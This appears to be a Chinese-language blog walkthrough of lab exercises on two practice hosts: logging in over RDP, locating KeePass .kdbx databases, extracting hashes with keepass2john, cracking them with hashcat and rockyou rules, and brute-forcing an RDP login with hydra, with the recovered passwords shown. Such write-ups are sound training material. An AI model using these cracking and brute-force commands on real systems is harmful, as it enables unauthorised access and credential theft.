密碼管理器破解

 密碼管理器破解

靶機 IP : 192.168.197.203

帳號密碼 : jason /lab

目標 :  KeePass 數據庫的主密碼,獲得 " User Company Password " 的密碼。


第一步 xfreerdp 登入到目標主機 └─$ xfreerdp -v:192.168.197.203 -u:jason -p:lab             

開啟程式集,發現有安裝 KeePass Password Safe 2.51.1 密碼管理器


KeePass 程式將密碼存儲在名為 *.kdbx 的資料庫,所以要先找出資料庫

指令 dir /s *.kdbx,找到檔名為 Database.kdbx 位於 c:\Users\jason\Documents 路徑底下



KeePass 密碼管理器資料庫如下圖




將此檔案傳輸到 kali 主機進行破解,透過 FTP 傳輸過去



接著用 Kali 內建破解 KeePass 的轉換工具將 hash 導出

keepass2john Database.kdbx > keepass.hash



轉換後的 Hash 值為 

Database:$keepass$*2*60*0*d74e29a727e9338717d27a7d457ba3486d20dec73a9db1a7fbc7a068c9aec6bd*04b0bfd787898d8dcd4d463ee768e55337ff001ddfac98c961219d942fb0cfba*5273cc73b9584fbd843d1ee309d2ba47*1dcad0a3e50f684510c5ab14e1eecbb63671acae14a77eff9aa319b63d71ddb9*17c3ebc9c4c3535689cb9cb501284203b7c66b0ae2fbf0c2763ee920277496c1

使用前要移除最前面的 Database: 字串,整個 hash 值應該為

$keepass$*2*60*0*d74e29a727e9338717d27a7d457ba3486d20dec73a9db1a7fbc7a068c9aec6bd*04b0bfd787898d8dcd4d463ee768e55337ff001ddfac98c961219d942fb0cfba*5273cc73b9584fbd843d1ee309d2ba47*1dcad0a3e50f684510c5ab14e1eecbb63671acae14a77eff9aa319b63d71ddb9*17c3ebc9c4c3535689cb9cb501284203b7c66b0ae2fbf0c2763ee920277496c1

使用 hashcat 之前要先確認 HASH mode,查找此網站

https://hashcat.net/wiki/doku.php?id=example_hashes,可以看到 KeePass mode 是 13400



也可以透過 hashcat 指令查找 mode,└─$ hashcat --help | grep -i "KeePass"



接著使用 hashcat 套用 rockyou-300000.rule 來破解

└─$ hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule --force

破出來得到密碼為 qwertyuiop123!




rockyou-30000.rule 包含許許多多的變種密碼組合




開啟靶機內的 KeePass 程式並輸入密碼登入



看到我們的目標,右鍵複製密碼貼到文字檔就可以看到密碼了









靶機 2 : 192.168.197.227

帳號 : nadine

沒有給密碼,所以第一步看來是要先破解密碼

所以標準第一步 rustscan,└─$ rustscan -a 192.168.197.227 --scripts none --ulimit 5000

有 445、3389 等



那就直接 hydra RDP 破解密碼試試看吧

└─$ hydra -l nadine -P /usr/share/wordlists/rockyou.txt rdp://192.168.197.227

密碼破解出來了是 123abc


RDP 進去後發現依樣有安裝 KeePass,所以先找 *.kdbx

丟到 kali 主機,再 keepass2john Database.kdbx > keepass.hash

然後 vi 修改 keepass.hash 去開頭的 Database: 字串

接著開始破解 hash,└─$ hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule --force

破出來了,密碼是 pinkpanther1234




開啟 KeePass 並獲取密碼




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)